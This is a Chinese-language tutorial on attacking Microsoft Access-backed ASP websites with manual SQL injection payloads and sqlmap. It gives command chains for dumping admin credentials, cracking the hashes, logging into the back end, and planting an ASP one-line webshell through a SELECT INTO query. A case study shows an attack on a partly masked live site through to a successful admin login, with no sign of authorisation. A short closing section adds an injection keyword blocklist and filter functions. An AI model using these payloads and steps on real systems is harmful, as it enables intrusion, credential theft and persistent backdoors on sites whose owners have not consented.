使用SQLMap进行Access注入

*本文原创作者:simeon,

1.1使用sqlmap进行access注入

对于存在access注入的站点,可以通过手工注入或者工具注入来获取access数据库中的表以及内容,特别是获取网站后台管理表中的用户名及其密码。

1.1.1 access数据库简介

Microsoft Office Access是由微软发布的关系数据库管理系统。它结合了 MicrosoftJet Database Engine 和 图形用户界面两项特点,是Microsoft Office 的系统程序之一。Microsoft Office Access是微软把数据库引擎的图形用户界面和软件开发工具结合在一起的一个数据库管理系统。它是微软OFFICE的一个成员,在包括专业版和更高版本的office版本里面被单独出售。2012年12月4日,最新的微软Office Access 2016在微软Office 2016里发布,微软Office Access 2013 是前一个版本,默然安装Office是不安装Access数据库。

MS ACCESS以它自己的格式将数据存储在基于Access Jet的数据库引擎里。它还可以直接导入或者链接数据(这些数据存储在其他应用程序和数据库)。软件开发人员和数据架构师可以使用Microsoft Access开发应用软件,“高级用户”可以使用它来构建软件应用程序。和其他办公应用程序一样,ACCESS支持Visual Basic宏语言,它是一个面向对象的编程语言,可以引用各种对象,包括DAO(数据访问对象),ActiveX数据对象,以及许多其他的ActiveX组件。可视对象用于显示表和报表,他们的方法和属性是在VBA编程环境下,VBA代码模块可以声明和调用Windows操作系统函数。

(1)ACCESS数据库结构

ACCESS数据库采用表名-列名-内容数据,它不像MySQL和MSSQL,需要先创建数据库,然后创建表,输入内容到表中。ACCESS的数据库是一个mdb文件(例如data.mdb),一个库可以包含若干张表。

(2)操作ACCESS数据库

默认是在安装Office时选择安装Access组件来创建数据库,对数据库中的表实施管理操作。也可以通过一些Access数据库访问工具进行操作。

1.1.2Access注入基础

1. access注入基本流程

(1)判断有无注入

(2)猜解表名

(3)猜解字段

(4)猜解管理员字段值

(5)猜解用户名和密码长度

(6)猜解用户名和密码

(7)破解加密密码

(8)寻找并登录后台

2.常见的注入工具

常见的SQL注入工具有“HDSI 3.0 Goldsun干净拓宽版”、“Domain”、“Safe3”、“啊D工具”、“管中窥豹”、Havij、pangolin、WebCruiser和SQLmap等。目前仅仅SQLmap是开源,出于安全考虑,建议用sqlmap工具进行access注入。

3.常见的查询方式

(1)联合查询法(速度快,兼容性不好)

and 1=1 and 1=2 ——判断注入

order by 22  ——猜有多少列(12正确,13错误,则为12个)

union select 1,2,3,4,5,6,7,8,9,10,11,12from admin ——猜表名(报错说明表名不存在,将admin表换成别的继续猜测)

union select 1,2,username,4,5,6,7,8,9,10,11,12from admin ——猜列名(列名位置放置页面上显示的数字位置上,报错说明列名不存在,换列明继续猜,列名猜对后及出账号密码)

(2)逐字猜解法(速度慢,兼容性好)

and 1=1 and 1=2 ——判断注入

and exists (select * from admin) ——猜表名

and exists (select user_name from admin) ——猜列名

查数据:1.确定长度 2.确定asc数据(asc编码)

and (select top 1 len(user_name ) fromadmin)=5(user_name 的长度=5,正常则=5,也可以用>,<号去判断)

and (select top 1 asc(mid(user_name ,1,1))from admin)=97 判断第一位(97代表‘a’的ascll值)

and (select top 1 asc(mid(user_name ,2,1))from admin)=97 判断第二位

(user_name =admin 第一位a 第二位d 第三位m 第四位i 第五位npass_word=a48e190fafc257d3)

4. 判断有无注入

(1)粗略型:提交单引号’,id值-1、id值+1,判断页面显示信息不同或者出错信息。

(2)逻辑型(数字型注入):and1=1 、and 1=2;正常显示,内容与正常页面显示的结果基本相同;提示BOF或EOF(程序没做任何判断时),或提示找不到记录,或显示内容为空(程序加了on error resume next);在数据库中是否执行,and 1=1 永远为真所以页面返回正常,and 1=2永远为假所以返回的结果会出错,根据其结果来判断是否存在sql注入。

(3)逻辑型(字符型注入):’and ’1′=’1/’ 、and ’1′=’2

(4)逻辑型(搜索型注入):%’and 1=1 、and ‘%’=’%/%’ 、and 1=2 and ‘%’=’%

1.1.3SQLmap思路及命令

1. SQLmapaccess注入操作思路

(1)手工判断url是否存在SQL注入。通过在url传入参数处加入“’”、and 1=1、and 1=2等,查看页面是否出错,如果存在页面不一样或者有出错信息,则表明网站url存在sql注入。常见的错误信息如下:

Microsoft JET Database Engine 错误 ’80040e14′

在联合查询中所选定的两个数据表或查询中的列数不匹配。

/view.asp,行 26

以上信息表明数据库采用Access数据库。

(2)使用sqlmap进行检测注入点是否可用

Sqlmap命令:sqlmap.py –uurl  

如果存在,则会提示进行相应操作,例如判断数据库中的表,如果不存在则无法继续。

(3)检测表,执行“sqlmap.py–u url –tables”命令来获取access数据库表,需要选择线程数,建议选择1-20之间,这个数过大,会导致网站无法打开。

(4)获取数据库表内容

sqlmap.py–u url --tables --columns -T admin

如果存在管理员表admin,则可以通过以上命令来获取admin表中的列。

(5)获取管理员admin表中的数据内容

sqlmap.py–u url --dump -T admin -C "username,password"  

通过(4)获取admin表中存在username和password列,通过dump参数来获取该表中的所有数据。也可以通过sqlmap.py –u url –sql-query=”select username,password from admin”来获取admin表中的内容,还可以通过sqlmap.py–u url –sql-shell来进行sql查询交互使用。

2.一个完整的access注入过程命令

(1)注入点判断:sqlmap.py-u http://www.antian365.com/index.asp?id=1

(2)猜数据库表:sqlmap.py -u http://www.antian365.com/index.asp?id=1 –tables

输入线程:10,回车后开始跑表,找到合适的表后,按下ctrl+c终止跑表。

(3)对某个表进行字段猜解

sqlmap.py-u ” http://www.antian365.com/index.asp?id=1” –tables –columns -Tadmin

例如获取admin表的字段如下: id,username,password

(4)对admin表字段内容进行猜解

sqlmap.py -u " http://www.antian365.com/index.asp?id=1"--dump -T admin -C "username,password"  

(5)获取明文密码或者加密密码。通过cmd5.com等在线网站进行明文密码破解。

(6)寻找后台地址,并登录后台

(7)通过后台管理寻求可以获取webshell的功能模块,尝试获取webshell。

知道web真实路径,且可以通过脚本执行查询,则可以通过查询来获取webshell,例如网站真实路径:d:/freehost/fred200903/web/,则查询语句为:

SELECT '<%execute request("a")%>' into [a] in ' d:/freehost/fred200903/web/x.asp;a.xls''excel 8.0;' from a

Shell地址:http://www.somesite.com/ x.asp;a.xls,一句话后门密码a。

1.1.4Access其它注入

1.Accesspost登录框注入

注入点:http://xxx.xxx.com/Login.asp

(1)通过burpsurte抓包保存为txt文件,使用sqlmap进行自动注入

例如对着注入点使用burp抓包,保存tg .txt文件,使用命令:

./sqlmap.py-r tg.txt -p tfUPass

(2)自动搜索表单的方式   

sqlmap-u http://xxx.xxx.com/Login.asp –forms

(3)指定一个参数的方法

sqlmap-u http://xxx.xxx.com/Login.asp --data "tfUName=1&tfUPass=1"

2.Cookie注入

sqlmap -u "http://www.xxx.com/news.asp"--cookie "id=1" --table --level 2

1.1.5Access SQL注入实战案例

1.使用wvs扫描站点

打开WVS,新建扫描目标,如图1所示,执行WebScanner,扫描结束后可以看到其高危提示显示存在多个SQL盲注。依次展开,获取其详细url地址。在该结果中还可以看到28web目录,该目录后后台地址。

使用SQLMap进行Access注入

图1获取sql盲注地址

2.手工测试注入点

在url地址地址后加入一个单引号,其url经过编码后显示为%27也即在浏览器中直接访问:http://www.b********n.com/company.asp?id=9&cid=4%27,如图2所示,提示存在类型不匹配,说明可能存在SQL注入。

使用SQLMap进行Access注入

图2手工测试提示出错信息

3.使用sqlmap检测注入点

使用sqlmap.py –u http://www.b********n.com/company.asp?id=9&cid=4进行注入点检测, SQLMAP已经检测出该url存在SQL注入地址,获取操作系统版本可能是Windows 10或者Windows 2016,数据库为Access。获取Access数据库中表的命令:

sqlmap.py–u http://www.b********n.com/company.asp?id=9 –table

如图3所示, 选择常见表名猜测以及输入线程为1,如图4所示sqlmap检测出access中所有的表。

使用SQLMap进行Access注入

图3获取access数据库表

使用SQLMap进行Access注入

图4获取所有的数据库表

4.获取admin表内容

(1)获取数据库表admin的列名及其导出表内容

依次使用下面的命令来获取数据库表admin的列名及其导出其表内容:

sqlmap.py–u http://www.b********n.com/company.asp?id=9 --tables --columns -T admin

sqlmap.py–u http://www.b********n.com/company.asp?id=9 --dump -T admin –C

(2)可以通过sql-shell参数来交互查询获取数据

sqlmap.py–u http://www.b********n.com/company.asp?id=9 --sql-shell

如图5所示,执行上面命令后,执行selectusername,password from admin查询来获取当前的所有用户及密码。

使用SQLMap进行Access注入

图5获取用户名及其密码

5.登录后台地址

使用地址http://www.b********n.com/28web进行登录,如图6所示成功登录后台。在wvs扫描结果中可以看到有admin_chklogin.asp,所以28web为后台登陆地址。

使用SQLMap进行Access注入

图6登录后台管理

6.sqlmap查询结果

Sqlmap的日志文件以及数据库dump文件均在C:/Users/Administrator/.sqlmap/output/targnet.com目录下。targnet.com为执行注入测试的名称。

7.技巧

可以使用sqlmap.py –u http://www.b********n.com/company.asp?id=9–a –batch –smart自动获取所有信息。

1.1.6安全防范

1.对所有涉及传入参数进行过滤。

2.使用sql防注入代码

在连接数据库的下方加入SQL注入防范代码

(1)sql注入防范代码

<%

dimsql_injdata,SQL_inj,SQL_Get,SQL_Data,Sql_Post

SQL_injdata="'|and|exec|insert|select|delete|update|count|*|%|chr|mid|master|truncate|char|declare"

SQL_inj= split(SQL_Injdata,"|")

If Request.QueryString<>""Then

For EachSQL_Get In Request.QueryString

ForSQL_Data=0 To Ubound(SQL_inj)

ifinstr(Request.QueryString(SQL_Get),Sql_Inj(Sql_DATA))>0 Then

Response.Write"<Script Language=javascript>alert('注意:请不要提交非法请!');history.back(-1)</Script>"

Response.end

end if

next

Next

End If

IfRequest.Form<>"" Then

For EachSql_Post In Request.Form

ForSQL_Data=0 To Ubound(SQL_inj)

ifinstr(Request.Form(Sql_Post),Sql_Inj(Sql_DATA))>0 Then

Response.Write"<Script Language=javascript>alert('注意:请不要提交非法请!');history.back(-1)</Script>"

Response.end

end if

next

next

end if

%>

(2)使用函数进行过滤

functionkilln(byval s1) ‘过滤数值型参数

if notisnumeric(s1) then 

killn=0

else

ifs1<0 or s1>2147483647 then 

killn=0

else

killn=clng(s1)

end if

end if

endfunction

functionkillc(byval s1) 过滤货币型参数

if notisnumeric(s1) then 

killc=0

else

killc=formatnumber(s1,2,-1,0,0)

end if

endfunction

functionkillw(byval s1) ‘过滤字符型参数

iflen(s1)=0 then

killw=""

else

killw=trim(replace(s1,"'",""))

end if

endfunction

functionkillbad(byval s1) 过滤所有危险字符,包括跨站脚本

Iflen(s1) = 0 then

killbad=""

else

killbad=trim(replace(replace(replace(replace(replace(replace(replace(replace(s1,Chr(10),"〈br〉"), Chr(34), """), "〉",">"), "〈", "<"), "&","&"),chr(39),"'"),chr(32),""),chr(13),""))

end if

endfunction

3.使用waf防火墙或者安全狗等防护软件

*本文原创作者:simeon,